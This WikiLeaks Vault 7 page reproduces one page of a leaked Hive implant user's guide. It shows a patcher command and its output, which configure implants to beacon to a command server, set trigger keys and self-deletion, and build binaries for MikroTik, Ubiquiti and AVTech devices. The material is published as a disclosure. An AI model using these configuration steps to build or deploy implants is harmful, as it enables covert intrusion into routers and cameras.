WikiLeaks - Vault 7: Projects

# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Hive

# Users Guide

9 November, 2015

- 1
- 2
…
- 10
- 11
- 12
- 13
- 14
…
- 30
- 31

SECRET//NOFORN
(U) Hive 2.9.1 User's Guide (U) Pre-Deployment
2.3.3 (U) Full Patch Example
(S) The following shows the use of the patcher to create binaries for all architectures (the default
unless the -m <target> option is specified). If the -d 0 option is specified, then beacons will be
disabled and the the words Beacons Disabled will appear in place of the beacon parameters.
2.4 (S) SSL Certificates
(S) The implant communicates with the Hive client using SSL connections. Three files, server.crt,
server.key and ca.crt, must be installed in the same directory as the client and must have read
permissions set so they can be accessed by the client. Communications with the implant will fail if
any one of these files are missing or invalid. (For an example, see section 6 on page 21.)
SECRET//NOFORN//20401109 7
$ ./hive-patcher -t 0 -a proxy1.edb.devlan.net -i 20 -d 10 -k TestingTesting -P /tmp -S 10.6.5.51
This application will generate PATCHED files with the following values:
Primary DNS Server IP address: 10.6.5.51
Secondary DNS Server IP address:
Trigger Key: ab9b5db0d04598cc9e66fe57aabc887b9ef9d96c
Implant Key: 79cc264de8ef94250ef980293fe947fd6d61fa81
Beacon Server IP address: proxy1.edb.devlan.net
Beacon Server Port number: 443
Beacon Initial Delay (sec): 10
Beacon Interval (sec): 20
Beacon Jitter (%): 3
Self Delete Delay (sec): 5184000
Self Delete Control File Path: /tmp
Trigger Delay (+/-30 sec): 0
Target Operating Systems:
. Linux/x86
. MikroTik/x86
. MikroTik/MIPS
. MikroTik/PPC
. Ubiquiti/MIPS
. AVTech/ARM
SIG_HEAD found at offset 0x3d8c4 for hived-linux-x86-PATCHED
Generating hived-linux-x86-PATCHED file... done
SIG_HEAD found at offset 0x41404 for hived-mikrotik-x86-PATCHED
Generating hived-mikrotik-x86-PATCHED file... done
SIG_HEAD found at offset 0xb6854 for hived-avtech-arm-PATCHED
Generating hived-avtech-arm-PATCHED file... done
SIG_HEAD found at offset 0x50091 for hived-mikrotik-ppc-PATCHED
Generating hived-mikrotik-ppc-PATCHED file... done
SIG_HEAD found at offset 0x5dfa8 for hived-mikrotik-mips-PATCHED
Generating hived-mikrotik-mips-PATCHED file... done
SIG_HEAD found at offset 0x5dfa8 for hived-ubiquiti-mips-PATCHED
Generating hived-ubiquiti-mips-PATCHED file... done

- 1
- 2
…
- 10
- 11
- 12
- 13
- 14
…
- 30
- 31